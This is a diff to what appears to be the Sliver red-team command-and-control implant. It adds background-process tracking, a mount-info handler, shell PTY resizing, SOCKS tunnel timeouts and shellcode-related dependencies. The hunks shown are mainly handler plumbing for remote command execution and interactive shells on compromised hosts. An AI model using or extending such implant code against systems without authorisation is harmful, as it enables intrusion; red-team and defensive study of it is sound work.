+github.com/alecthomas/assert/v2 v2.11.0/go.mod h1:Bze95FyfUr7x34QZrjL+XP+0qgp/zg8yS+TtBj1WA3k=
 github.com/alecthomas/chroma v0.10.0 h1:7XDcGkCQopCNKjZHfYrNLraA+M7e0fMiJ/Mfikbfjek=
 github.com/alecthomas/chroma v0.10.0/go.mod h1:jtJATyUxlIORhUOFNA9NZDWGAQ8wpxQQqNSB4rjA/1s=
+github.com/alecthomas/chroma/v2 v2.23.1 h1:nv2AVZdTyClGbVQkIzlDm/rnhk1E9bU9nXwmZ/Vk/iY=
+github.com/alecthomas/chroma/v2 v2.23.1/go.mod h1:NqVhfBR0lte5Ouh3DcthuUCTUpDC9cxBOfyMbMQPs3o=
+github.com/alecthomas/repr v0.5.2 h1:SU73FTI9D1P5UNtvseffFSGmdNci/O6RsqzeXJtP0Qs=
+github.com/alecthomas/repr v0.5.2/go.mod h1:Fr0507jx4eOXV7AlPV6AVZLYrLIuIeSOWtW57eE/O/4=
 github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e h1:4dAU9FXIyQktpoUAgOJK3OTFc/xug0PCXYCqU0FgDKI=
 github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4=
 github.com/alicebob/gopher-json v0.0.0-20200520072559-a9ecdc9d1d3a h1:HbKu58rmZpUGpz5+4FfNmIU+FmZg2P3Xaj2v2bfNWmk=
@@ -397,7 +401,6 @@ github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e/go.mod h1:boTsfXsheKC
 github.com/google/s2a-go v0.1.9 h1:LGD7gtMgezd8a/Xak7mEWL0PjoTQFvpRudN895yqKW0=
 github.com/google/s2a-go v0.1.9/go.mod h1:YA0Ei2ZQL3acow2O62kdp9UlnvMmU7kA6Eutn0dXayM=
 github.com/google/uuid v0.0.0-20171113160352-8c31c18f31ed/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
-github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
 github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
 github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
 github.com/googleapis/enterprise-certificate-proxy v0.3.7 h1:zrn2Ee/nWmHulBx5sAVrGgAa0f2/R35S4DJwfFaUPFQ=
@@ -420,8 +423,12 @@ github.com/h2non/parth v0.0.0-20190131123155-b4df798d6542/go.mod h1:Ow0tF8D4Kplb
 github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
 github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/Co8=
 github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
+github.com/hashicorp/yamux v0.1.2 h1:XtB8kyFOyHXYVFnwT5C3+Bdo8gArse7j2AQ0DA0Uey8=
+github.com/hashicorp/yamux v0.1.2/go.mod h1:C+zze2n6e/7wshOZep2A70/aQU6QBRWJO/G6FT1wIns=
 github.com/hdevalence/ed25519consensus v0.2.0 h1:37ICyZqdyj0lAZ8P4D1d1id3HqbbG1N3iBb1Tb4rdcU=
 github.com/hdevalence/ed25519consensus v0.2.0/go.mod h1:w3BHWjwJbFU29IRHL1Iqkw3sus+7FctEyM4RqDxYNzo=
+github.com/hexops/gotextdiff v1.0.3 h1:gitA9+qJrrTCsiCl7+kh75nPqQt1cx4ZkudSTLoUqJM=
+github.com/hexops/gotextdiff v1.0.3/go.mod h1:pSWU5MAI3yDq+fZBTazCSJysOMbxWL1BSow5/V2vxeg=
 github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
 github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
 github.com/illarion/gonotify/v3 v3.0.2 h1:O7S6vcopHexutmpObkeWsnzMJt/r1hONIEogeVNmJMk=
@@ -656,6 +663,12 @@ github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ
 github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
 github.com/slack-go/slack v0.17.3 h1:zV5qO3Q+WJAQ/XwbGfNFrRMaJ5T/naqaonyPV/1TP4g=
 github.com/slack-go/slack v0.17.3/go.mod h1:X+UqOufi3LYQHDnMG1vxf0J8asC6+WllXrVrhl8/Prk=
+github.com/sliverarmory/beignet v0.0.2 h1:kUpztl/yEKp/U3FFulguC7r+qKjmBIg0AwLKJnZpDVA=
+github.com/sliverarmory/beignet v0.0.2/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4=
+github.com/sliverarmory/malasada v0.0.2 h1:X2+7dNGPWfm4ijsr/rMvZlIMalskdCVpBZUYs50RHIA=
+github.com/sliverarmory/malasada v0.0.2/go.mod h1:F96IgTOoX72FU995F+Jip0ni8Z5sXiYOwfmlRGobJkQ=
+github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE=
+github.com/sliverarmory/wasm-donut v0.0.3/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
 github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM=
 github.com/sony/sonyflake v1.0.0/go.mod h1:Jv3cfhf/UFtolOTTRd3q4Nl6ENqM+KfyZ5PseKfZGF4=
 github.com/spf13/cast v1.4.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=

implant/go-mod

@@ -7,6 +7,7 @@ require (
 	github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0
 	github.com/Ne0nd0g/go-clr v1.0.3
 	github.com/gofrs/uuid v4.0.0+incompatible
+	github.com/hashicorp/yamux v0.1.2
 	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
 	github.com/lesnuages/go-winio v0.4.19
 	github.com/miekg/dns v1.1.50

implant/go-sum

@@ -27,6 +27,8 @@ github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
 github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
 github.com/hashicorp/go-uuid v1.0.2 h1:cfejS+Tpcp13yd5nYHWDI6qVCny6wyX2Mt5SGur2IGE=
 github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
+github.com/hashicorp/yamux v0.1.2 h1:XtB8kyFOyHXYVFnwT5C3+Bdo8gArse7j2AQ0DA0Uey8=
+github.com/hashicorp/yamux v0.1.2/go.mod h1:C+zze2n6e/7wshOZep2A70/aQU6QBRWJO/G6FT1wIns=
 github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
 github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
 github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f h1:5hWo+DzJQSOBl6X+TDac0SPWffRonuRJ2///OYtYRT8=

implant/sliver/cryptography/minisign_raw.go

@@ -0,0 +1,43 @@
+package cryptography
+
+import (
+	"encoding/binary"
+
+	"golang.org/x/crypto/blake2b"
+	"golang.org/x/crypto/ed25519"
+)
+
+// MinisignVerifyRaw - Verify a fixed-length raw minisign signature (binary) using
+// the server's bundled minisign public key.
+func MinisignVerifyRaw(message []byte, rawSig []byte) bool {
+	if len(rawSig) != RawSigSize {
+		return false
+	}
+
+	serverPublicKey, err := DecodeMinisignPublicKey(serverMinisignPublicKey)
+	if err != nil {
+		return false
+	}
+
+	algorithm := binary.LittleEndian.Uint16(rawSig[:2])
+	keyID := binary.LittleEndian.Uint64(rawSig[2:10])
+	if keyID != serverPublicKey.ID() {
+		return false
+	}
+
+	switch algorithm {
+	case EdDSA:
+		// Verify as-is.
+	case HashEdDSA:
+		digest := blake2b.Sum512(message)
+		message = digest[:]
+	default:
+		return false
+	}
+
+	signature := rawSig[10:]
+	if len(signature) != ed25519.SignatureSize {
+		return false
+	}
+	return ed25519.Verify(ed25519.PublicKey(serverPublicKey.PublicKey[:]), message, signature)
+}

implant/sliver/handlers/execute_children.go

@@ -0,0 +1,204 @@
+package handlers
+
+import (
+	"os"
+	"os/exec"
+	"sort"
+	"sync"
+	"time"
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+)
+
+const (
+	maxTrackedExecuteChildren = 256
+)
+
+type executeChildEntry struct {
+	PID       int32
+	Path      string
+	Args      []string
+	Stdout    string
+	Stderr    string
+	StartTime int64
+
+	Exited   bool
+	ExitCode int32
+	ExitTime int64
+	Error    string
+
+	cmd *exec.Cmd
+}
+
+var (
+	executeChildrenMu      sync.RWMutex
+	trackedExecuteChildren = map[int32]*executeChildEntry{}
+)
+
+func trimTrackedExecuteChildrenLocked() {
+	if len(trackedExecuteChildren) <= maxTrackedExecuteChildren {
+		return
+	}
+
+	// Prefer trimming completed entries first, oldest exit time first.
+	exited := make([]*executeChildEntry, 0, len(trackedExecuteChildren))
+	for _, entry := range trackedExecuteChildren {
+		if entry.Exited {
+			exited = append(exited, entry)
+		}
+	}
+	sort.Slice(exited, func(i, j int) bool {
+		return exited[i].ExitTime < exited[j].ExitTime
+	})
+
+	for len(trackedExecuteChildren) > maxTrackedExecuteChildren && 0 < len(exited) {
+		delete(trackedExecuteChildren, exited[0].PID)
+		exited = exited[1:]
+	}
+}
+
+func startExecuteChild(cmd *exec.Cmd, track bool, path string, args []string, stdoutPath string, stderrPath string) (int32, error) {
+	var (
+		stdoutFile *os.File
+		stderrFile *os.File
+		err        error
+	)
+
+	startTime := time.Now().Unix()
+
+	if stdoutPath != "" {
+		stdoutFile, err = os.Create(stdoutPath)
+		if err != nil {
+			return 0, err
+		}
+		cmd.Stdout = stdoutFile
+	}
+	if stderrPath != "" {
+		stderrFile, err = os.Create(stderrPath)
+		if err != nil {
+			if stdoutFile != nil {
+				stdoutFile.Close()
+			}
+			return 0, err
+		}
+		cmd.Stderr = stderrFile
+	}
+
+	err = cmd.Start()
+	if err != nil {
+		if stdoutFile != nil {
+			stdoutFile.Close()
+		}
+		if stderrFile != nil {
+			stderrFile.Close()
+		}
+		return 0, err
+	}
+
+	var pid int32
+	if cmd.Process != nil {
+		pid = int32(cmd.Process.Pid)
+	}
+
+	if track && pid != 0 {
+		entry := &executeChildEntry{
+			PID:       pid,
+			Path:      path,
+			Args:      append([]string(nil), args...),
+			Stdout:    stdoutPath,
+			Stderr:    stderrPath,
+			StartTime: startTime,
+			cmd:       cmd,
+		}
+		executeChildrenMu.Lock()
+		trackedExecuteChildren[pid] = entry
+		trimTrackedExecuteChildrenLocked()
+		executeChildrenMu.Unlock()
+	}
+
+	go func(pid int32, cmd *exec.Cmd, stdoutFile *os.File, stderrFile *os.File, track bool) {
+		waitErr := cmd.Wait()
+
+		exitCode := int32(0)
+		waitErrStr := ""
+		if waitErr != nil {
+			if exitErr, ok := waitErr.(*exec.ExitError); ok {
+				exitCode = int32(exitErr.ExitCode())
+			} else {
+				exitCode = -1
+				waitErrStr = waitErr.Error()
+			}
+		}
+
+		if track && pid != 0 {
+			executeChildrenMu.Lock()
+			entry := trackedExecuteChildren[pid]
+			if entry != nil {
+				entry.Exited = true
+				entry.ExitCode = exitCode
+				entry.ExitTime = time.Now().Unix()
+				entry.Error = waitErrStr
+				entry.cmd = nil
+			}
+			executeChildrenMu.Unlock()
+		}
+
+		if stdoutFile != nil {
+			stdoutFile.Close()
+		}
+		if stderrFile != nil {
+			stderrFile.Close()
+		}
+	}(pid, cmd, stdoutFile, stderrFile, track)
+
+	return pid, nil
+}
+
+func snapshotExecuteChildren() []*sliverpb.ExecuteChild {
+	executeChildrenMu.RLock()
+	children := make([]*sliverpb.ExecuteChild, 0, len(trackedExecuteChildren))
+	for _, entry := range trackedExecuteChildren {
+		children = append(children, &sliverpb.ExecuteChild{
+			Pid:       entry.PID,
+			Path:      entry.Path,
+			Args:      append([]string(nil), entry.Args...),
+			StartTime: entry.StartTime,
+			Exited:    entry.Exited,
+			ExitCode:  entry.ExitCode,
+			ExitTime:  entry.ExitTime,
+			Stdout:    entry.Stdout,
+			Stderr:    entry.Stderr,
+			Error:     entry.Error,
+		})
+	}
+	executeChildrenMu.RUnlock()
+
+	sort.Slice(children, func(i, j int) bool {
+		return children[i].StartTime < children[j].StartTime
+	})
+	return children
+}
+
+func executeChildrenHandler(data []byte, resp RPCResponse) {
+	req := &sliverpb.ExecuteChildrenReq{}
+	err := proto.Unmarshal(data, req)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("error decoding message: %v", err)
+		// {{end}}
+		return
+	}
+
+	execChildren := &sliverpb.ExecuteChildren{
+		Children: snapshotExecuteChildren(),
+		Response: &commonpb.Response{},
+	}
+	data, err = proto.Marshal(execChildren)
+	resp(data, err)
+}

implant/sliver/handlers/handlers.go

@@ -1181,7 +1181,7 @@ func executeHandler(data []byte, resp RPCResponse) {
 		}
 	}
 
-	if execReq.Output {
+	if execReq.Output && !execReq.Background {
 		stdOutBuff := new(bytes.Buffer)
 		stdErrBuff := new(bytes.Buffer)
 		stdErr = stdErrBuff
@@ -1242,19 +1242,14 @@ func executeHandler(data []byte, resp RPCResponse) {
 			execResp.Pid = uint32(cmd.Process.Pid)
 		}
 	} else {
-		err = cmd.Start()
-		if err != nil {
+		pid, startErr := startExecuteChild(cmd, execReq.Background, exePath, execReq.Args, execReq.Stdout, execReq.Stderr)
+		if startErr != nil {
 			execResp.Response = &commonpb.Response{
-				Err: fmt.Sprintf("%s", err),
+				Err: fmt.Sprintf("%s", startErr),
 			}
 		}
-
-		go func() {
-			cmd.Wait()
-		}()
-
-		if cmd.Process != nil {
-			execResp.Pid = uint32(cmd.Process.Pid)
+		if pid != 0 {
+			execResp.Pid = uint32(pid)
 		}
 	}
 	data, err = proto.Marshal(execResp)

implant/sliver/handlers/handlers_darwin.go

@@ -25,6 +25,7 @@ import (
 	"syscall"
 
 	"github.com/bishopfox/sliver/implant/sliver/extension"
+	"github.com/bishopfox/sliver/implant/sliver/mount"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
 	"google.golang.org/protobuf/proto"
@@ -32,30 +33,32 @@ import (
 
 var (
 	darwinHandlers = map[uint32]RPCHandler{
-		pb.MsgPsReq:        psHandler,
-		pb.MsgTerminateReq: terminateHandler,
-		pb.MsgPing:         pingHandler,
-		pb.MsgLsReq:        dirListHandler,
-		pb.MsgDownloadReq:  downloadHandler,
-		pb.MsgUploadReq:    uploadHandler,
-		pb.MsgCdReq:        cdHandler,
-		pb.MsgPwdReq:       pwdHandler,
-		pb.MsgRmReq:        rmHandler,
-		pb.MsgMkdirReq:     mkdirHandler,
-		pb.MsgMvReq:        mvHandler,
-		pb.MsgCpReq:        cpHandler,
-		pb.MsgIfconfigReq:  ifconfigHandler,
-		pb.MsgExecuteReq:   executeHandler,
-		pb.MsgEnvReq:       getEnvHandler,
-		pb.MsgSetEnvReq:    setEnvHandler,
-		pb.MsgUnsetEnvReq:  unsetEnvHandler,
-		pb.MsgChtimesReq:   chtimesHandler,
-		pb.MsgGrepReq:      grepHandler,
+		pb.MsgPsReq:              psHandler,
+		pb.MsgTerminateReq:       terminateHandler,
+		pb.MsgPing:               pingHandler,
+		pb.MsgLsReq:              dirListHandler,
+		pb.MsgDownloadReq:        downloadHandler,
+		pb.MsgUploadReq:          uploadHandler,
+		pb.MsgCdReq:              cdHandler,
+		pb.MsgPwdReq:             pwdHandler,
+		pb.MsgRmReq:              rmHandler,
+		pb.MsgMkdirReq:           mkdirHandler,
+		pb.MsgMvReq:              mvHandler,
+		pb.MsgCpReq:              cpHandler,
+		pb.MsgIfconfigReq:        ifconfigHandler,
+		pb.MsgExecuteReq:         executeHandler,
+		pb.MsgExecuteChildrenReq: executeChildrenHandler,
+		pb.MsgEnvReq:             getEnvHandler,
+		pb.MsgSetEnvReq:          setEnvHandler,
+		pb.MsgUnsetEnvReq:        unsetEnvHandler,
+		pb.MsgChtimesReq:         chtimesHandler,
+		pb.MsgGrepReq:            grepHandler,
 
 		pb.MsgScreenshotReq: screenshotHandler,
 		pb.MsgNetstatReq:    netstatHandler,
 
 		pb.MsgSideloadReq: sideloadHandler,
+		pb.MsgMountReq:    mountHandler,
 
 		pb.MsgReconfigureReq: reconfigureHandler,
 		pb.MsgSSHCommandReq:  runSSHCommandHandler,
@@ -154,6 +157,27 @@ func listExtensionsHandler(data []byte, resp RPCResponse) {
 	resp(data, err)
 }
 
+func mountHandler(data []byte, resp RPCResponse) {
+	mountReq := &pb.MountReq{}
+	err := proto.Unmarshal(data, mountReq)
+	if err != nil {
+		return
+	}
+
+	mountData, err := mount.GetMountInformation()
+	mountResp := &pb.Mount{
+		Info:     mountData,
+		Response: &commonpb.Response{},
+	}
+
+	if err != nil {
+		mountResp.Response.Err = err.Error()
+	}
+
+	data, err = proto.Marshal(mountResp)
+	resp(data, err)
+}
+
 func getUid(fileInfo os.FileInfo) string {
 	uid := int32(fileInfo.Sys().(*syscall.Stat_t).Uid)
 	uid_str := strconv.FormatUint(uint64(uid), 10)

implant/sliver/handlers/handlers_generic.go

@@ -34,23 +34,24 @@ import (
 
 var (
 	genericHandlers = map[uint32]RPCHandler{
-		sliverpb.MsgPing:           pingHandler,
-		sliverpb.MsgLsReq:          dirListHandler,
-		sliverpb.MsgDownloadReq:    downloadHandler,
-		sliverpb.MsgUploadReq:      uploadHandler,
-		sliverpb.MsgCdReq:          cdHandler,
-		sliverpb.MsgPwdReq:         pwdHandler,
-		sliverpb.MsgRmReq:          rmHandler,
-		sliverpb.MsgMkdirReq:       mkdirHandler,
-		sliverpb.MsgMvReq:          mvHandler,
-		sliverpb.MsgCpReq:          cpHandler,
-		sliverpb.MsgExecuteReq:     executeHandler,
-		sliverpb.MsgSetEnvReq:      setEnvHandler,
-		sliverpb.MsgEnvReq:         getEnvHandler,
-		sliverpb.MsgUnsetEnvReq:    unsetEnvHandler,
-		sliverpb.MsgReconfigureReq: reconfigureHandler,
-		sliverpb.MsgChtimesReq:     chtimesHandler,
-		sliverpb.MsgGrepReq:        grepHandler,
+		sliverpb.MsgPing:               pingHandler,
+		sliverpb.MsgLsReq:              dirListHandler,
+		sliverpb.MsgDownloadReq:        downloadHandler,
+		sliverpb.MsgUploadReq:          uploadHandler,
+		sliverpb.MsgCdReq:              cdHandler,
+		sliverpb.MsgPwdReq:             pwdHandler,
+		sliverpb.MsgRmReq:              rmHandler,
+		sliverpb.MsgMkdirReq:           mkdirHandler,
+		sliverpb.MsgMvReq:              mvHandler,
+		sliverpb.MsgCpReq:              cpHandler,
+		sliverpb.MsgExecuteReq:         executeHandler,
+		sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
+		sliverpb.MsgSetEnvReq:          setEnvHandler,
+		sliverpb.MsgEnvReq:             getEnvHandler,
+		sliverpb.MsgUnsetEnvReq:        unsetEnvHandler,
+		sliverpb.MsgReconfigureReq:     reconfigureHandler,
+		sliverpb.MsgChtimesReq:         chtimesHandler,
+		sliverpb.MsgGrepReq:            grepHandler,
 
 		// Wasm Extensions - Note that execution can be done via a tunnel handler
 		sliverpb.MsgRegisterWasmExtensionReq:   registerWasmExtensionHandler,

implant/sliver/handlers/handlers_linux.go

@@ -45,24 +45,25 @@ import (
 
 var (
 	linuxHandlers = map[uint32]RPCHandler{
-		sliverpb.MsgPsReq:        psHandler,
-		sliverpb.MsgTerminateReq: terminateHandler,
-		sliverpb.MsgPing:         pingHandler,
-		sliverpb.MsgLsReq:        dirListHandler,
-		sliverpb.MsgDownloadReq:  downloadHandler,
-		sliverpb.MsgUploadReq:    uploadHandler,
-		sliverpb.MsgCdReq:        cdHandler,
-		sliverpb.MsgPwdReq:       pwdHandler,
-		sliverpb.MsgRmReq:        rmHandler,
-		sliverpb.MsgMkdirReq:     mkdirHandler,
-		sliverpb.MsgMvReq:        mvHandler,
-		sliverpb.MsgCpReq:        cpHandler,
-		sliverpb.MsgTaskReq:      taskHandler,
-		sliverpb.MsgIfconfigReq:  ifconfigLinuxHandler,
-		sliverpb.MsgExecuteReq:   executeHandler,
-		sliverpb.MsgEnvReq:       getEnvHandler,
-		sliverpb.MsgSetEnvReq:    setEnvHandler,
-		sliverpb.MsgUnsetEnvReq:  unsetEnvHandler,
+		sliverpb.MsgPsReq:              psHandler,
+		sliverpb.MsgTerminateReq:       terminateHandler,
+		sliverpb.MsgPing:               pingHandler,
+		sliverpb.MsgLsReq:              dirListHandler,
+		sliverpb.MsgDownloadReq:        downloadHandler,
+		sliverpb.MsgUploadReq:          uploadHandler,
+		sliverpb.MsgCdReq:              cdHandler,
+		sliverpb.MsgPwdReq:             pwdHandler,
+		sliverpb.MsgRmReq:              rmHandler,
+		sliverpb.MsgMkdirReq:           mkdirHandler,
+		sliverpb.MsgMvReq:              mvHandler,
+		sliverpb.MsgCpReq:              cpHandler,
+		sliverpb.MsgTaskReq:            taskHandler,
+		sliverpb.MsgIfconfigReq:        ifconfigLinuxHandler,
+		sliverpb.MsgExecuteReq:         executeHandler,
+		sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
+		sliverpb.MsgEnvReq:             getEnvHandler,
+		sliverpb.MsgSetEnvReq:          setEnvHandler,
+		sliverpb.MsgUnsetEnvReq:        unsetEnvHandler,
 
 		sliverpb.MsgScreenshotReq: screenshotHandler,
 

implant/sliver/handlers/handlers_windows.go

@@ -96,21 +96,22 @@ var (
 		sliverpb.MsgMountReq:               mountHandler,
 
 		// Generic
-		sliverpb.MsgPing:           pingHandler,
-		sliverpb.MsgLsReq:          dirListHandler,
-		sliverpb.MsgDownloadReq:    downloadHandler,
-		sliverpb.MsgUploadReq:      uploadHandler,
-		sliverpb.MsgCdReq:          cdHandler,
-		sliverpb.MsgPwdReq:         pwdHandler,
-		sliverpb.MsgRmReq:          rmHandler,
-		sliverpb.MsgMvReq:          mvHandler,
-		sliverpb.MsgCpReq:          cpHandler,
-		sliverpb.MsgMkdirReq:       mkdirHandler,
-		sliverpb.MsgExecuteReq:     executeHandler,
-		sliverpb.MsgReconfigureReq: reconfigureHandler,
-		sliverpb.MsgSSHCommandReq:  runSSHCommandHandler,
-		sliverpb.MsgChtimesReq:     chtimesHandler,
-		sliverpb.MsgGrepReq:        grepHandler,
+		sliverpb.MsgPing:               pingHandler,
+		sliverpb.MsgLsReq:              dirListHandler,
+		sliverpb.MsgDownloadReq:        downloadHandler,
+		sliverpb.MsgUploadReq:          uploadHandler,
+		sliverpb.MsgCdReq:              cdHandler,
+		sliverpb.MsgPwdReq:             pwdHandler,
+		sliverpb.MsgRmReq:              rmHandler,
+		sliverpb.MsgMvReq:              mvHandler,
+		sliverpb.MsgCpReq:              cpHandler,
+		sliverpb.MsgMkdirReq:           mkdirHandler,
+		sliverpb.MsgExecuteReq:         executeHandler,
+		sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
+		sliverpb.MsgReconfigureReq:     reconfigureHandler,
+		sliverpb.MsgSSHCommandReq:      runSSHCommandHandler,
+		sliverpb.MsgChtimesReq:         chtimesHandler,
+		sliverpb.MsgGrepReq:            grepHandler,
 
 		// Extensions
 		sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
@@ -386,7 +387,7 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
 		}
 	}
 
-	if execReq.Output {
+	if execReq.Output && !execReq.Background {
 		stdOutBuff := new(bytes.Buffer)
 		stdErrBuff := new(bytes.Buffer)
 		stdErr = stdErrBuff
@@ -443,13 +444,19 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
 		}
 		execResp.Stderr = stdErrBuff.Bytes()
 		execResp.Stdout = stdOutBuff.Bytes()
+		if cmd.Process != nil {
+			execResp.Pid = uint32(cmd.Process.Pid)
+		}
 	} else {
-		err = cmd.Start()
-		if err != nil {
+		pid, startErr := startExecuteChild(cmd, execReq.Background, exePath, execReq.Args, execReq.Stdout, execReq.Stderr)
+		if startErr != nil {
 			execResp.Response = &commonpb.Response{
-				Err: fmt.Sprintf("%s", err),
+				Err: fmt.Sprintf("%s", startErr),
 			}
 		}
+		if pid != 0 {
+			execResp.Pid = uint32(pid)
+		}
 	}
 	data, err = proto.Marshal(execResp)
 	resp(data, err)

implant/sliver/handlers/tun.go

@@ -32,7 +32,8 @@ var (
 	tunnelHandlers = map[uint32]TunnelHandler{
 
 		// Interactive shell tunnels
-		sliverpb.MsgShellReq: tunnel_handlers.ShellReqHandler,
+		sliverpb.MsgShellReq:       tunnel_handlers.ShellReqHandler,
+		sliverpb.MsgShellResizeReq: tunnel_handlers.ShellResizeReqHandler,
 
 		// Network tunnels
 		sliverpb.MsgPortfwdReq: tunnel_handlers.PortfwdReqHandler,

implant/sliver/handlers/tunnel_handlers/shell_handler.go

@@ -51,7 +51,15 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
 	}
 
 	shellPath := shell.GetSystemShellPath(shellReq.Path)
-	systemShell, err := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
+	rows := shellReq.GetRows()
+	cols := shellReq.GetCols()
+	if rows > 0xffff {
+		rows = 0xffff
+	}
+	if cols > 0xffff {
+		cols = 0xffff
+	}
+	systemShell, err := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY, uint16(rows), uint16(cols))
 	if systemShell == nil {
 		// {{if .Config.Debug}}
 		log.Printf("[shell] Failed to get system shell")

implant/sliver/handlers/tunnel_handlers/shell_resize_handler_stub.go

@@ -0,0 +1,18 @@
+//go:build !darwin && !linux && !freebsd && !openbsd && !dragonfly
+
+package tunnel_handlers
+
+import (
+	"github.com/bishopfox/sliver/implant/sliver/transports"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+)
+
+func ShellResizeReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
+	resp, _ := proto.Marshal(&commonpb.Empty{})
+	connection.Send <- &sliverpb.Envelope{
+		ID:   envelope.ID,
+		Data: resp,
+	}
+}

implant/sliver/handlers/tunnel_handlers/shell_resize_handler_unix.go

@@ -0,0 +1,63 @@
+//go:build darwin || linux || freebsd || openbsd || dragonfly
+
+package tunnel_handlers
+
+import (
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"os"
+
+	"github.com/bishopfox/sliver/implant/sliver/shell/pty"
+	"github.com/bishopfox/sliver/implant/sliver/transports"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+)
+
+type ptyResizer interface {
+	Resize(rows, cols uint32) error
+}
+
+func ShellResizeReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
+	req := &sliverpb.ShellResizeReq{}
+	err := proto.Unmarshal(envelope.Data, req)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[shell] Failed to unmarshal protobuf %s", err)
+		// {{end}}
+	} else if tun := connection.Tunnel(req.TunnelID); tun != nil {
+		rows := req.GetRows()
+		cols := req.GetCols()
+		if rows != 0 && cols != 0 {
+			if resizer, ok := tun.Writer.(ptyResizer); ok {
+				err := resizer.Resize(rows, cols)
+				if err != nil {
+					// {{if .Config.Debug}}
+					log.Printf("[shell] Failed to resize PTY: %s", err)
+					// {{end}}
+				}
+			} else if f, ok := tun.Writer.(*os.File); ok {
+				if rows > 0xffff {
+					rows = 0xffff
+				}
+				if cols > 0xffff {
+					cols = 0xffff
+				}
+				err := pty.Setsize(f, &pty.Winsize{Rows: uint16(rows), Cols: uint16(cols)})
+				if err != nil {
+					// {{if .Config.Debug}}
+					log.Printf("[shell] Failed to resize PTY: %s", err)
+					// {{end}}
+				}
+			}
+		}
+	}
+
+	resp, _ := proto.Marshal(&commonpb.Empty{})
+	connection.Send <- &sliverpb.Envelope{
+		ID:   envelope.ID,
+		Data: resp,
+	}
+}

implant/sliver/handlers/tunnel_handlers/socks_handler.go

@@ -36,16 +36,29 @@ import (
 	"google.golang.org/protobuf/proto"
 )
 
+const (
+	inactivityCheckInterval = 4 * time.Second
+	inactivityTimeout       = 15 * time.Second
+)
+
 type socksTunnelPool struct {
-	tunnels *sync.Map // map[uint64]chan []byte
+	tunnels      *sync.Map // map[uint64]chan []byte
+	lastActivity *sync.Map // map[uint64]time.Time
 }
 
 var socksTunnels = socksTunnelPool{
-	tunnels: &sync.Map{},
+	tunnels:      &sync.Map{},
+	lastActivity: &sync.Map{},
 }
 
